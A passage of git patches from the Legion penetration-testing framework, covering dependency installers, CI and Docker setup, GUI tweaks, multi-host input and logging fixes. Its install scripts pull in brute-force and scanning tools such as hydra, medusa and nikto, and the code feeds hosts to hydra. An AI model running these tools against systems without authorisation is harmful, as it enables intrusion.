nbtscan nfs-common rpcbind smbclient sra-toolkit ldap-utils sslscan rwho medusa x11-apps cutycapt leafpad xvfb -y diff --git a/deps/Ubuntu-18.sh b/deps/Ubuntu-18.sh index 3846556d..cb2af1c4 100644 --- a/deps/Ubuntu-18.sh +++ b/deps/Ubuntu-18.sh @@ -1,15 +1,12 @@ #!/bin/bash -source ./deps/detectPython.sh - -#cp ./deps/*.sh /tmp -#cp ./requirements.txt /tmp -f -#cd /tmp chmod a+x ./deps/*.sh ./deps/installDeps.sh ./deps/installPython36.sh +source ./deps/detectPython.sh + echo "Installing external binaryies and application dependancies..." apt-get -yqqq install finger hydra nikto whatweb nbtscan nfs-common rpcbind smbclient sra-toolkit ldap-utils sslscan rwho medusa x11-apps cutycapt leafpad xvfb -y diff --git a/deps/Ubuntu-18WSL.sh b/deps/Ubuntu-18WSL.sh index 53a6f56a..0960635e 100644 --- a/deps/Ubuntu-18WSL.sh +++ b/deps/Ubuntu-18WSL.sh @@ -1,15 +1,12 @@ #!/bin/bash -source ./deps/detectPython.sh - -#cp ./deps/*.sh /tmp -#cp ./requirements.txt /tmp -f -#cd /tmp chmod a+x ./deps/*.sh ./deps/installDeps.sh ./deps/installPython36.sh +source ./deps/detectPython.sh + echo "Installing external binaryies and application dependancies..." apt-get -yqqq install finger hydra nikto whatweb nbtscan nfs-common rpcbind smbclient sra-toolkit ldap-utils sslscan rwho medusa x11-apps cutycapt leafpad xvfb -y diff --git a/deps/detectPython.sh b/deps/detectPython.sh index cc4dd8c9..80135849 100644 --- a/deps/detectPython.sh +++ b/deps/detectPython.sh @@ -8,7 +8,7 @@ if [[ $testForPython == *"3.6"* ]]; then pythonBin='python' elif [[ $testForPython2 == *"3.6"* ]]; then pythonBin='python3' -elif [[ $testForPython3 == *"3.6"* ]]; then +elif [[ $testForPython3 == *"3.6"* ]] && [[ $testForPython3 != *"not found"* ]]; then pythonBin='python3.6' else pythonBin='Missing' @@ -24,7 +24,7 @@ if [[ $testForPip == *"3.6"* ]]; then pipBin='pip' elif [[ $testForPip2 == *"3.6"* ]]; then pipBin='pip3' -elif [[ $testForPip3 == *"3.6"* ]]; then +elif [[ $testForPip3 == *"3.6"* ]] && [[ $testForPip3 != *"not found"* ]]; then pipBin='pip3.6' else pipBin='Missing' diff --git a/deps/installPython36.sh b/deps/installPython36.sh index 9d69625f..b4eb371c 100644 --- a/deps/installPython36.sh +++ b/deps/installPython36.sh @@ -1,14 +1,15 @@ #!/bin/bash +source ./deps/apt.sh source ./deps/detectPython.sh -if [[ ${PYTHON3BIN} == "Missing" ]] | [[ ${PIP3BIN} == "Missing" ]] +if [[ ${PYTHON3BIN} == "Missing" ]] | [[ ${PIP3BIN} == "Missing" ]] | [[ -z "${PYTHON3BIN}" ]] | [[ -z "${PIP3BIN}" ]] then echo "Installing python3.6 from APT..." - echo "Updating Apt database..." - sudo apt-get update -yqq 2>&1 > /dev/null + echo "Checking Apt..." + runAptGetUpdate echo "Install Python3.6 and Pip3.6 from APT..." - sudo apt-get install -yqq python3 python3-pip python-netlib 2>&1 > /dev/null + apt-get install -yqqqq python3 python3-pip else echo "Python3.6 found!" echo "Python 3.6: ${PYTHON3BIN}" @@ -18,7 +19,7 @@ fi source ./deps/detectPython.sh -if [[ ${PYTHON3BIN} == "Missing" ]] | [[ ${PIP3BIN} == "Missing" ]] +if [[ ${PYTHON3BIN} == "Missing" ]] | [[ ${PIP3BIN} == "Missing" ]] | [[ -z "${PYTHON3BIN}" ]] | [[ -z "${PIP3BIN}" ]] then echo "Installing python3.6 from source..." sudo ./deps/buildPython36.sh @@ -31,7 +32,7 @@ fi source ./deps/detectPython.sh -if [[ ${PYTHON3BIN} == "Missing" ]] | [[ ${PIP3BIN} == "Missing" ]] +if [[ ${PYTHON3BIN} == "Missing" ]] | [[ ${PIP3BIN} == "Missing" ]] | [[ -z "${PYTHON3BIN}" ]] | [[ -z "${PIP3BIN}" ]] then echo "Everything went wrong trying to get python3.6 setup. Please do this manually." echo "Python 3.6: ${PYTHON3BIN}" From 82634ddd5af40344b01075b8678aed3a6e7291bc Mon Sep 17 00:00:00 2001 From: sscottgvit Date: Fri, 18 Jan 2019 05:05:24 -0600 Subject: [PATCH 091/450] Dep installer updates --- deps/Kali-2018.sh | 3 --- deps/Kali-2018WSL.sh | 3 --- deps/Ubuntu-16.sh | 3 --- deps/Ubuntu-16WSL.sh | 3 --- deps/Ubuntu-18.sh | 3 --- deps/Ubuntu-18WSL.sh | 3 --- deps/installDeps.sh | 2 +- deps/installPythonLibs.sh | 1 - requirements.txt | 1 + test.sh | 42 --------------------------------------- 10 files changed, 2 insertions(+), 62 deletions(-) delete mode 100644 test.sh diff --git a/deps/Kali-2018.sh b/deps/Kali-2018.sh index cb2af1c4..6dbba96f 100644 --- a/deps/Kali-2018.sh +++ b/deps/Kali-2018.sh @@ -7,8 +7,5 @@ chmod a+x ./deps/*.sh source ./deps/detectPython.sh -echo "Installing external binaryies and application dependancies..." -apt-get -yqqq install finger hydra nikto whatweb nbtscan nfs-common rpcbind smbclient sra-toolkit ldap-utils sslscan rwho medusa x11-apps cutycapt leafpad xvfb -y - echo "Installing Python Libraries..." ./deps/installPythonLibs.sh diff --git a/deps/Kali-2018WSL.sh b/deps/Kali-2018WSL.sh index 0960635e..9b440219 100644 --- a/deps/Kali-2018WSL.sh +++ b/deps/Kali-2018WSL.sh @@ -7,9 +7,6 @@ chmod a+x ./deps/*.sh source ./deps/detectPython.sh -echo "Installing external binaryies and application dependancies..." -apt-get -yqqq install finger hydra nikto whatweb nbtscan nfs-common rpcbind smbclient sra-toolkit ldap-utils sslscan rwho medusa x11-apps cutycapt leafpad xvfb -y - echo "Installing Python Libraries..." ./deps/installPythonLibs.sh diff --git a/deps/Ubuntu-16.sh b/deps/Ubuntu-16.sh index cb2af1c4..6dbba96f 100644 --- a/deps/Ubuntu-16.sh +++ b/deps/Ubuntu-16.sh @@ -7,8 +7,5 @@ chmod a+x ./deps/*.sh source ./deps/detectPython.sh -echo "Installing external binaryies and application dependancies..." -apt-get -yqqq install finger hydra nikto whatweb nbtscan nfs-common rpcbind smbclient sra-toolkit ldap-utils sslscan rwho medusa x11-apps cutycapt leafpad xvfb -y - echo "Installing Python Libraries..." ./deps/installPythonLibs.sh diff --git a/deps/Ubuntu-16WSL.sh b/deps/Ubuntu-16WSL.sh index 0960635e..9b440219 100644 --- a/deps/Ubuntu-16WSL.sh +++ b/deps/Ubuntu-16WSL.sh @@ -7,9 +7,6 @@ chmod a+x ./deps/*.sh source ./deps/detectPython.sh -echo "Installing external binaryies and application dependancies..." -apt-get -yqqq install finger hydra nikto whatweb nbtscan nfs-common rpcbind smbclient sra-toolkit ldap-utils sslscan rwho medusa x11-apps cutycapt leafpad xvfb -y - echo "Installing Python Libraries..." ./deps/installPythonLibs.sh diff --git a/deps/Ubuntu-18.sh b/deps/Ubuntu-18.sh index cb2af1c4..6dbba96f 100644 --- a/deps/Ubuntu-18.sh +++ b/deps/Ubuntu-18.sh @@ -7,8 +7,5 @@ chmod a+x ./deps/*.sh source ./deps/detectPython.sh -echo "Installing external binaryies and application dependancies..." -apt-get -yqqq install finger hydra nikto whatweb nbtscan nfs-common rpcbind smbclient sra-toolkit ldap-utils sslscan rwho medusa x11-apps cutycapt leafpad xvfb -y - echo "Installing Python Libraries..." ./deps/installPythonLibs.sh diff --git a/deps/Ubuntu-18WSL.sh b/deps/Ubuntu-18WSL.sh index 0960635e..9b440219 100644 --- a/deps/Ubuntu-18WSL.sh +++ b/deps/Ubuntu-18WSL.sh @@ -7,9 +7,6 @@ chmod a+x ./deps/*.sh source ./deps/detectPython.sh -echo "Installing external binaryies and application dependancies..." -apt-get -yqqq install finger hydra nikto whatweb nbtscan nfs-common rpcbind smbclient sra-toolkit ldap-utils sslscan rwho medusa x11-apps cutycapt leafpad xvfb -y - echo "Installing Python Libraries..." ./deps/installPythonLibs.sh diff --git a/deps/installDeps.sh b/deps/installDeps.sh index e7d000d2..f9e34528 100644 --- a/deps/installDeps.sh +++ b/deps/installDeps.sh @@ -7,4 +7,4 @@ echo "Checking Apt..." runAptGetUpdate echo "Installing deps..." -sudo apt-get install -yqq python-netlib 2>&1 > /dev/null +apt-get -yqqq install nmap finger hydra nikto whatweb nbtscan nfs-common rpcbind smbclient sra-toolkit ldap-utils sslscan rwho medusa x11-apps cutycapt leafpad xvfb -y diff --git a/deps/installPythonLibs.sh b/deps/installPythonLibs.sh index 913c4bd5..b8123336 100644 --- a/deps/installPythonLibs.sh +++ b/deps/installPythonLibs.sh @@ -4,5 +4,4 @@ source ./deps/detectPython.sh # Setup Python deps ${PIP3BIN} install -r requirements.txt -${PIP3BIN} install sqlalchemy pyqt5 asyncio aiohttp aioredis aiomonitor apscheduler Quamash ${PIP3BIN} install service_identity --upgrade diff --git a/requirements.txt b/requirements.txt index 661e5cb0..e28a78a7 100644 --- a/requirements.txt +++ b/requirements.txt @@ -1,3 +1,4 @@ +asyncio==3.4.3 aiohttp==3.4.4 aioredis==1.2.0 six==1.11.0 diff --git a/test.sh b/test.sh deleted file mode 100644 index b91ae1b2..00000000 --- a/test.sh +++ /dev/null @@ -1,42 +0,0 @@ -#!/bin/bash - -unameOutput=`uname -a` -releaseOutput=`cat /etc/os-release` -releaseName="?" -releaseVersion="?" -wslEnv="" - -# Detect WSL and enable XForwaridng to Xming -if [[ $unameOutput == *"Microsoft"* ]] -then - export DISPLAY=localhost:0.0 - wslEnv="on WSL" -fi - -if [ ! -f ".initialized" ] | [ -f ".justcloned" ] -then - if [[ $releaseOutput == *"Ubuntu"* ]] - then - releaseName="Ubuntu" - if [[ $releaseOutput == *"16."* ]] - then - releaseVersion="16" - elif [[ $releaseOutput == *"18."* ]] - then - releaseVersion="18" - fi - elif [[ $releaseOutput == *"Kali"* ]] - then - releaseName="Kali" - if [[ $releaseOutput == *"2018"* ]] - then - releaseVersion="2018" - elif [[ $releaseOutput == *"2016."* ]] - then - releaseVersion="2016" - fi - else - releaseName="something unsupported" - fi - echo "Detected ${releaseName} ${releaseVersion} ${wslEnv}" -fi From 3ea4a0cc1c8f7739a2455e54be126eadf0967d2d Mon Sep 17 00:00:00 2001 From: sscottgvit Date: Fri, 18 Jan 2019 07:57:16 -0600 Subject: [PATCH 092/450] Update CI --- .travis.yml | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/.travis.yml b/.travis.yml index 0adb55ac..8d30b38e 100644 --- a/.travis.yml +++ b/.travis.yml @@ -7,8 +7,8 @@ python: - 3.6 install: - - bash ./deps/installDeps.sh - - bash ./deps/installPythonLibs.sh + - bash cp ./requirements.txt ./deps/ + - bash ./deps/installPythonLibs.sh script: - python ./test.py From 83275ebcc956b2202ba6768c2ea42447a6aa6df5 Mon Sep 17 00:00:00 2001 From: sscottgvit Date: Fri, 18 Jan 2019 07:58:53 -0600 Subject: [PATCH 093/450] Update CI --- .travis.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.travis.yml b/.travis.yml index 8d30b38e..20f5ed8f 100644 --- a/.travis.yml +++ b/.travis.yml @@ -7,7 +7,7 @@ python: - 3.6 install: - - bash cp ./requirements.txt ./deps/ + - cp ./requirements.txt ./deps/ - bash ./deps/installPythonLibs.sh script: From e7df3cf5a7a461a1a4db23e5c29d1b0bd05476f2 Mon Sep 17 00:00:00 2001 From: sscottgvit Date: Fri, 18 Jan 2019 14:48:46 -0600 Subject: [PATCH 094/450] Added requests to requirements --- requirements.txt | 1 + 1 file changed, 1 insertion(+) diff --git a/requirements.txt b/requirements.txt index e28a78a7..4b5348b9 100644 --- a/requirements.txt +++ b/requirements.txt @@ -9,3 +9,4 @@ APScheduler==3.5.3 PyQt5==5.11.3 sanic==0.8.3 sanic_swagger==0.0.4 +requests==2.20.1 From eacf4b92e93b8d9cfaa2b78b6683a831793deb4e Mon Sep 17 00:00:00 2001 From: robinrainwalker Date: Fri, 18 Jan 2019 16:48:50 -0500 Subject: [PATCH 095/450] added initial working docker file and run script. --- Dockerfile | 9 +++++++++ runIt.sh | 5 +++++ 2 files changed, 14 insertions(+) create mode 100644 Dockerfile create mode 100644 runIt.sh diff --git a/Dockerfile b/Dockerfile new file mode 100644 index 00000000..4db809c8 --- /dev/null +++ b/Dockerfile @@ -0,0 +1,9 @@ +FROM ubuntu:18.04 +ENV DISPLAY :0 +RUN apt-get update && apt-get install -y \ + nmap \ + hydra \ + git +RUN git clone https://github.com/GoVanguard/legion.git; cd legion; chmod +x ./startLegion.sh; chmod +x ./deps -R; ./deps/Ubuntu-18.sh; mkdir /legion/tmp +WORKDIR /legion +CMD ["python3", "legion.py"] diff --git a/runIt.sh b/runIt.sh new file mode 100644 index 00000000..4b07ffda --- /dev/null +++ b/runIt.sh @@ -0,0 +1,5 @@ +#!/bin/bash +XSOCK=/tmp/.X11-unix +XAUTH=/tmp/.docker.xauth +xauth nlist :0 | sed -e 's/^..../ffff/' | xauth -f $XAUTH nmerge - +docker run -ti -v $XSOCK:$XSOCK -v $XAUTH:$XAUTH -e XAUTHORITY=$XAUTH testing From 908c95c95c5c209f601d41e7b2663d176e44302d Mon Sep 17 00:00:00 2001 From: sscottgvit Date: Wed, 23 Jan 2019 12:23:51 -0600 Subject: [PATCH 096/450] Remove settings menu; Remove resize of columns on refresh --- .justcloned | 0 Dockerfile => docker/Dockerfile | 0 docker/buildIt.sh | 2 ++ runIt.sh => docker/runIt.sh | 2 +- ui/gui.py | 17 ++++++++--------- ui/view.py | 23 ++++++++++++----------- 6 files changed, 23 insertions(+), 21 deletions(-) delete mode 100644 .justcloned rename Dockerfile => docker/Dockerfile (100%) create mode 100644 docker/buildIt.sh rename runIt.sh => docker/runIt.sh (93%) diff --git a/.justcloned b/.justcloned deleted file mode 100644 index e69de29b..00000000 diff --git a/Dockerfile b/docker/Dockerfile similarity index 100% rename from Dockerfile rename to docker/Dockerfile diff --git a/docker/buildIt.sh b/docker/buildIt.sh new file mode 100644 index 00000000..d3af2230 --- /dev/null +++ b/docker/buildIt.sh @@ -0,0 +1,2 @@ +#!/bin/bash +docker build -t legion . diff --git a/runIt.sh b/docker/runIt.sh similarity index 93% rename from runIt.sh rename to docker/runIt.sh index 4b07ffda..4cd33247 100644 --- a/runIt.sh +++ b/docker/runIt.sh @@ -2,4 +2,4 @@ XSOCK=/tmp/.X11-unix XAUTH=/tmp/.docker.xauth xauth nlist :0 | sed -e 's/^..../ffff/' | xauth -f $XAUTH nmerge - -docker run -ti -v $XSOCK:$XSOCK -v $XAUTH:$XAUTH -e XAUTHORITY=$XAUTH testing +docker run -ti -v $XSOCK:$XSOCK -v $XAUTH:$XAUTH -e XAUTHORITY=$XAUTH legion diff --git a/ui/gui.py b/ui/gui.py index 24a1f01a..db1ceb03 100644 --- a/ui/gui.py +++ b/ui/gui.py @@ -309,8 +309,8 @@ def setupMenuBar(self, MainWindow): self.menubar.setObjectName(_fromUtf8("menubar")) self.menuFile = QtWidgets.QMenu(self.menubar) self.menuFile.setObjectName(_fromUtf8("menuFile")) - self.menuSettings = QtWidgets.QMenu(self.menubar) - self.menuSettings.setObjectName(_fromUtf8("menuSettings")) + #self.menuSettings = QtWidgets.QMenu(self.menubar) + #self.menuSettings.setObjectName(_fromUtf8("menuSettings")) self.menuHelp = QtWidgets.QMenu(self.menubar) self.menuHelp.setObjectName(_fromUtf8("menuHelp")) MainWindow.setMenuBar(self.menubar) @@ -341,11 +341,10 @@ def setupMenuBar(self, MainWindow): self.menuFile.addSeparator() self.menuFile.addAction(self.actionExit) self.menubar.addAction(self.menuFile.menuAction()) - self.menubar.addAction(self.menuSettings.menuAction()) - self.menubar.addAction(self.menuSettings.menuAction()) - self.actionSettings = QtWidgets.QAction(MainWindow) - self.actionSettings.setObjectName(_fromUtf8("getSettingsMenu")) - self.menuSettings.addAction(self.actionSettings) + #self.menubar.addAction(self.menuSettings.menuAction()) + #self.actionSettings = QtWidgets.QAction(MainWindow) + #self.actionSettings.setObjectName(_fromUtf8("getSettingsMenu")) + #self.menuSettings.addAction(self.actionSettings) self.actionHelp = QtWidgets.QAction(MainWindow) self.actionHelp.setObjectName(_fromUtf8("getHelp")) @@ -376,7 +375,7 @@ def retranslateUi(self, MainWindow): self.BottomTabWidget.setTabText(self.BottomTabWidget.indexOf(self.LogTab), QtWidgets.QApplication.translate("MainWindow", "Log", None)) self.BottomTabWidget.setTabText(self.BottomTabWidget.indexOf(self.PythonTab), QtWidgets.QApplication.translate("MainWindow", "Python", None)) self.menuFile.setTitle(QtWidgets.QApplication.translate("MainWindow", "File", None)) - self.menuSettings.setTitle(QtWidgets.QApplication.translate("MainWindow", "Settings", None)) + #self.menuSettings.setTitle(QtWidgets.QApplication.translate("MainWindow", "Settings", None)) self.menuHelp.setTitle(QtWidgets.QApplication.translate("MainWindow", "Help", None)) self.actionExit.setText(QtWidgets.QApplication.translate("MainWindow", "Exit", None)) self.actionExit.setToolTip(QtWidgets.QApplication.translate("MainWindow", "Exit the application", None)) @@ -395,7 +394,7 @@ def retranslateUi(self, MainWindow): self.actionNew.setShortcut(QtWidgets.QApplication.translate("MainWindow", "Ctrl+N", None)) self.actionAddHosts.setText(QtWidgets.QApplication.translate("MainWindow", "Add host(s) to scope", None)) self.actionAddHosts.setShortcut(QtWidgets.QApplication.translate("MainWindow", "Ctrl+H", None)) - self.actionSettings.setText(QtWidgets.QApplication.translate("MainWindow", "Preferences", None)) + #self.actionSettings.setText(QtWidgets.QApplication.translate("MainWindow", "Preferences", None)) self.actionHelp.setText(QtWidgets.QApplication.translate("MainWindow", "Help", None)) self.actionHelp.setShortcut(QtWidgets.QApplication.translate("MainWindow", "F1", None)) diff --git a/ui/view.py b/ui/view.py index 823fbbeb..1eac86df 100644 --- a/ui/view.py +++ b/ui/view.py @@ -141,7 +141,7 @@ def startConnections(self): # signal ini self.connectSaveProjectAs() self.connectAddHosts() self.connectImportNmap() - self.connectSettings() + #self.connectSettings() self.connectHelp() self.connectAppExit() ### TABLE ACTIONS ### @@ -169,8 +169,8 @@ def startConnections(self): # signal ini self.ui.BruteTabWidget.tabCloseRequested.connect(self.closeBruteTab) self.ui.keywordTextInput.returnPressed.connect(self.ui.FilterApplyButton.click) self.filterdialog.applyButton.clicked.connect(self.updateFilter) - self.settingsWidget.applyButton.clicked.connect(self.applySettings) - self.settingsWidget.cancelButton.clicked.connect(self.cancelSettings) + #self.settingsWidget.applyButton.clicked.connect(self.applySettings) + #self.settingsWidget.cancelButton.clicked.connect(self.cancelSettings) #self.settingsWidget.applyButton.clicked.connect(self.controller.applySettings(self.settingsWidget.settings)) self.tick.connect(self.importProgressWidget.setProgress) # slot used to update the progress bar @@ -440,8 +440,8 @@ def importNmap(self): ### - def connectSettings(self): - self.ui.actionSettings.triggered.connect(self.showSettingsWidget) + #def connectSettings(self): + # self.ui.actionSettings.triggered.connect(self.showSettingsWidget) def showSettingsWidget(self): self.settingsWidget.resetTabIndexes() @@ -1136,12 +1136,13 @@ def updateProcessesTableView(self): for i in [1, 5, 8, 9, 10, 13, 14, 16]: self.ui.ProcessesTableView.setColumnHidden(i, True) - self.ui.ProcessesTableView.horizontalHeader().resizeSection(0,125) - self.ui.ProcessesTableView.horizontalHeader().resizeSection(3,165) - self.ui.ProcessesTableView.horizontalHeader().resizeSection(6,210) - self.ui.ProcessesTableView.horizontalHeader().resizeSection(7,135) - self.ui.ProcessesTableView.horizontalHeader().resizeSection(11,165) - self.ui.ProcessesTableView.horizontalHeader().resizeSection(12,165) + ## Force resize + #self.ui.ProcessesTableView.horizontalHeader().resizeSection(0,125) + #self.ui.ProcessesTableView.horizontalHeader().resizeSection(3,165) + #self.ui.ProcessesTableView.horizontalHeader().resizeSection(6,210) + #self.ui.ProcessesTableView.horizontalHeader().resizeSection(7,135) + #self.ui.ProcessesTableView.horizontalHeader().resizeSection(11,165) + #self.ui.ProcessesTableView.horizontalHeader().resizeSection(12,165) self.updateProcessesIcon() def updateProcessesIcon(self): From 26c58870fcad4bb5871a8da8501cc69bb1d24bb7 Mon Sep 17 00:00:00 2001 From: sscottgvit Date: Wed, 23 Jan 2019 12:24:12 -0600 Subject: [PATCH 097/450] Remove settings menu; Remove resize of columns on refresh --- .justcloned | 0 1 file changed, 0 insertions(+), 0 deletions(-) create mode 100644 .justcloned diff --git a/.justcloned b/.justcloned new file mode 100644 index 00000000..e69de29b From 7fdfeb200853f633c1ecffbf4816c06e40ce3dd0 Mon Sep 17 00:00:00 2001 From: sscottgvit Date: Wed, 23 Jan 2019 13:45:03 -0600 Subject: [PATCH 098/450] Add rudimentary mulitple host support in add host dialog --- ui/dialogs.py | 6 +++--- ui/view.py | 4 ++-- 2 files changed, 5 insertions(+), 5 deletions(-) diff --git a/ui/dialogs.py b/ui/dialogs.py index f8e8f960..c9caa669 100644 --- a/ui/dialogs.py +++ b/ui/dialogs.py @@ -126,20 +126,20 @@ def __init__(self, parent=None): def setupLayout(self): self.setModal(True) - self.setWindowTitle('Add host(s) to scope') + self.setWindowTitle('Add host(s) to scope seperated by semicolons') self.setFixedSize(340, 210) self.flayout = QtWidgets.QVBoxLayout() self.label1 = QtWidgets.QLabel(self) - self.label1.setText('IP Range') + self.label1.setText('IP(s), Range(s), and Host(s)') self.textinput = QtWidgets.QLineEdit(self) self.hlayout = QtWidgets.QHBoxLayout() self.hlayout.addWidget(self.label1) self.hlayout.addWidget(self.textinput) self.label2 = QtWidgets.QLabel(self) - self.label2.setText('eg: 192.168.1.0/24 10.10.10.10-20 1.2.3.4 ') + self.label2.setText('Ex: 192.168.1.0/24; 10.10.10.10-20; 1.2.3.4; bing.com') self.font = QtGui.QFont('Calibri', 10) self.label2.setFont(self.font) self.label2.setAlignment(Qt.AlignRight) diff --git a/ui/view.py b/ui/view.py index 1eac86df..7d00b8f2 100644 --- a/ui/view.py +++ b/ui/view.py @@ -405,7 +405,7 @@ def connectAddHostsDialog(self): def callAddHosts(self): if validateNmapInput(self.adddialog.textinput.text()): self.adddialog.close() - self.controller.addHosts(self.adddialog.textinput.text(), self.adddialog.discovery.isChecked(), self.adddialog.nmap.isChecked()) + self.controller.addHosts(str(self.adddialog.textinput.text()).replace(';',' '), self.adddialog.discovery.isChecked(), self.adddialog.nmap.isChecked()) self.adddialog.addButton.clicked.disconnect() # disconnect all the signals from that button else: self.adddialog.spacer.changeSize(0,0) @@ -1407,7 +1407,7 @@ def callHydra(self, bWidget): return else: log.info('Adding host to scope here!!') - self.controller.addHosts(str(bWidget.ipTextinput.text()), False, False) + self.controller.addHosts(str(bWidget.ipTextinput.text()).replace(';',' '), False, False) bWidget.validationLabel.hide() bWidget.toggleRunButton() From 4932f6b2895c838fb4fbccbbe0bfab3657b27fae Mon Sep 17 00:00:00 2001 From: sscottgvit Date: Wed, 23 Jan 2019 16:16:10 -0600 Subject: [PATCH 099/450] Updates to handle logging failures; Database autoflush conflicts; Improved multiple host addition routine --- app/auxiliary.py | 10 ++++++---- app/logic.py | 14 +++++++------- db/database.py | 4 ++-- ui/view.py | 7 +++++-- 4 files changed, 20 insertions(+), 15 deletions(-) diff --git a/app/auxiliary.py b/app/auxiliary.py index 0581f57b..595d5fac 100644 --- a/app/auxiliary.py +++ b/app/auxiliary.py @@ -103,13 +103,15 @@ def isHttps(ip, port): except ssl.CertificateError as e: return True -def getTimestamp(human=False): +def getTimestamp(human=False, local=False): t = time() if human: - #timestamp = datetime.datetime.fromtimestamp(t).strftime("%d %b %Y %H:%M:%S").decode(locale.getlocale()[1]) - timestamp = datetime.fromtimestamp(t).strftime("%d %b %Y %H:%M:%S") + if local: + timestamp = datetime.datetime.fromtimestamp(t).strftime("%d %b %Y %H:%M:%S.%f").decode(locale.getlocale()[1]) + else: + timestamp = datetime.fromtimestamp(t).strftime("%d %b %Y %H:%M:%S.%f") else: - timestamp = datetime.fromtimestamp(t).strftime('%Y%m%d%H%M%S') + timestamp = datetime.fromtimestamp(t).strftime('%Y%m%d%H%M%S%f') return timestamp # used by the settings dialog when a user cancels and the GUI needs to be reset diff --git a/app/logic.py b/app/logic.py index 3d0d0451..f0b8905a 100644 --- a/app/logic.py +++ b/app/logic.py @@ -44,7 +44,7 @@ def createTemporaryFiles(self): except: log.info('Something went wrong creating the temporary files..') - log.info("Unexpected error: {0}".format(sys.exc_info())) + log.info("Unexpected error: {0}".format(sys.exc_info()[0])) def removeTemporaryFiles(self): log.info('Removing temporary files and folders..') @@ -105,7 +105,7 @@ def moveToolOutput(self, outputFilename): shutil.move(str(outputFilename)+'.txt', str(path)) except: log.info('Something went wrong moving the tool output file..') - log.info("Unexpected error:", sys.exc_info()[0]) + log.info("Unexpected error: {0}".format(sys.exc_info()[0])) def copyNmapXMLToOutputFolder(self, file): try: @@ -117,7 +117,7 @@ def copyNmapXMLToOutputFolder(self, file): shutil.copy(str(file), str(path)) # will overwrite if file already exists except: log.info('Something went wrong copying the imported XML to the project folder.') - log.info("Unexpected error:", sys.exc_info()[0]) + log.info("Unexpected error: {0}".format(sys.exc_info()[0])) def openExistingProject(self, filename, projectType="legion"): try: @@ -140,7 +140,7 @@ def openExistingProject(self, filename, projectType="legion"): except: log.info('Something went wrong while opening the project..') - log.info("Unexpected error:", sys.exc_info()[0]) + log.info("Unexpected error: {0}".format(sys.exc_info()[0])) # this function copies the current project files and folder to a new location # if the replace flag is set to 1, it overwrites the destination file and folder @@ -179,7 +179,7 @@ def saveProjectAs(self, filename, replace=0, projectType = 'legion'): except: log.info('Something went wrong while saving the project..') - log.info("Unexpected error:", sys.exc_info()[0]) + log.info("Unexpected error: {0}".format(sys.exc_info()[0])) return False def isHostInDB(self, host): # used we don't run tools on hosts out of scope @@ -631,7 +631,7 @@ def run(self): # it is nece parser = Parser(self.filename) except: self.tsLog('Giving up on import due to previous errors.') - self.tsLog("Unexpected error:", sys.exc_info()[0]) + self.tsLog("Unexpected error: {0}".format(sys.exc_info()[0])) self.done.emit() return @@ -831,7 +831,7 @@ def run(self): # it is nece except Exception as e: self.tsLog('Something went wrong when parsing the nmap file..') - self.tsLog("Unexpected error:" + str(sys.exc_info()[0])) + self.tsLog("Unexpected error: {0}".format(sys.exc_info()[0])) self.tsLog(e) raise self.done.emit() diff --git a/db/database.py b/db/database.py index ec59d8a4..81f35ed3 100644 --- a/db/database.py +++ b/db/database.py @@ -242,7 +242,7 @@ def __init__(self, dbfilename): self.dbsemaphore = QSemaphore(1) # to control concurrent write access to db self.engine = create_engine('sqlite:///{dbFileName}'.format(dbFileName = dbfilename)) self.session = scoped_session(sessionmaker()) - self.session.configure(bind = self.engine) + self.session.configure(bind = self.engine, autoflush=False) self.metadata = Base.metadata self.metadata.create_all(self.engine) self.metadata.echo = True @@ -257,7 +257,7 @@ def openDB(self, dbfilename): self.dbsemaphore = QSemaphore(1) # to control concurrent write access to db self.engine = create_engine('sqlite:///{dbFileName}'.format(dbFileName = dbfilename)) self.session = scoped_session(sessionmaker()) - self.session.configure(bind = self.engine) + self.session.configure(bind = self.engine, autoflush=False) self.metadata = Base.metadata self.metadata.create_all(self.engine) self.metadata.echo = True diff --git a/ui/view.py b/ui/view.py index 7d00b8f2..cb01a1fb 100644 --- a/ui/view.py +++ b/ui/view.py @@ -403,9 +403,12 @@ def connectAddHostsDialog(self): self.adddialog.cancelButton.clicked.connect(self.adddialog.close) def callAddHosts(self): - if validateNmapInput(self.adddialog.textinput.text()): + hostListStr = str(self.adddialog.textinput.text()).replace(';',' ') + if validateNmapInput(hostListStr): self.adddialog.close() - self.controller.addHosts(str(self.adddialog.textinput.text()).replace(';',' '), self.adddialog.discovery.isChecked(), self.adddialog.nmap.isChecked()) + hostList = hostListStr.split(' ') + for hostListEntry in hostList: + self.controller.addHosts(hostListEntry, self.adddialog.discovery.isChecked(), self.adddialog.nmap.isChecked()) self.adddialog.addButton.clicked.disconnect() # disconnect all the signals from that button else: self.adddialog.spacer.changeSize(0,0) From 5821483f2275cba1fb7b81d206dcdf4f7136edf8 Mon Sep 17 00:00:00 2001 From: jblomgren Date: Tue, 29 Jan 2019 14:20:44 -0500 Subject: [PATCH 100/450] rounding process time elapsed/remaining to 2 decmial values --- app/processmodels.py | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/app/processmodels.py b/app/processmodels.py index f44c9e18..ef992ab3 100644 --- a/app/processmodels.py +++ b/app/processmodels.py @@ -62,17 +62,17 @@ def data(self, index, role): # this metho value = '' elif column == 2: pid = int(self.__processes[row]['pid']) - elapsed = round(self.__controller.controller.processMeasurements.get(pid, 0), 1) - value = "{0}{1}".format(str(elapsed), "s") + elapsed = round(self.__controller.controller.processMeasurements.get(pid, 0), 2) + value = "{0:.2f}{1}".format(float(elapsed), "s") elif column == 3: status = str(self.__processes[row]['status']) if status == "Finished" or status == "Crashed" or status == "Killed": estimatedRemaining = 0 else: pid = int(self.__processes[row]['pid']) - elapsed = round(self.__controller.controller.processMeasurements.get(pid, 0), 1) + elapsed = round(self.__controller.controller.processMeasurements.get(pid, 0), 2) estimatedRemaining = int(self.__processes[row]['estimatedremaining']) - float(elapsed) - value = "{0}{1}".format(str(estimatedRemaining), "s") + value = "{0:.2f}{1}".format(float(estimatedRemaining), "s") elif column == 5 or column == 6: if not self.__processes[row]['tabtitle'] == '': value = self.__processes[row]['tabtitle'] From 13d54a824201b7f0aeca0cc0d63334e22a58f740 Mon Sep 17 00:00:00 2001 From: GitHub Date: Fri, 1 Feb 2019 22:23:43 -0500 Subject: [PATCH 101/450] Changed setupLeftPanel to use sizePolicy2 --- ui/gui.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/ui/gui.py b/ui/gui.py index db1ceb03..0c278bfc 100644 --- a/ui/gui.py +++ b/ui/gui.py 